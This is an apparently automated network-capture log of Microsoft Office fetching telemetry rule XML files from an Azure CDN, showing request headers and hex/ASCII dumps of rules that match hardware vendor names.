2024-11-23 10:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102212Z-178bfbc474bq2pr7hC1NYCkfgg00000004gg0000000044h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:12 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:12 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9053a11e-c01e-0046-640f-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102212Z-178bfbc474bw8bwphC1NYC38b4000000041000000000dzz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:12 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4246a62e-c01e-008e-5315-3d7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102212Z-178bfbc474bw8bwphC1NYC38b4000000047g000000002gy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:14 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102214Z-174c587ffdfcb7qhhC1TEB3x7000000002xg000000004u12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:14 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102214Z-174c587ffdfb5q56hC1TEB04kg00000002q000000000asac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:14 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:14 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102214Z-174c587ffdftjz9shC1TEBsh9800000002qg000000004zde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:15 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:14 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102214Z-174c587ffdfmrvb9hC1TEBtn3800000002s000000000d3hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:14 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: d6db62af-701e-0097-3243-3db8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102215Z-15b8b599d886w4hzhC1TEBb4ug00000002t000000000cc7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102217Z-174c587ffdfn4nhwhC1TEB2nbc00000002yg000000002nv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:16 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102217Z-174c587ffdfn4nhwhC1TEB2nbc00000002t000000000g5eu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:16 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:17 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: e845eaf5-101e-008e-5d91-3bcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102217Z-15b8b599d88l2dpthC1TEBmzr000000002w0000000000d3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:17 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:16 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:17 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a3b90170-101e-0034-5118-3d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102217Z-178bfbc474bv587zhC1NYCny5w000000046g000000006une x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:17 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
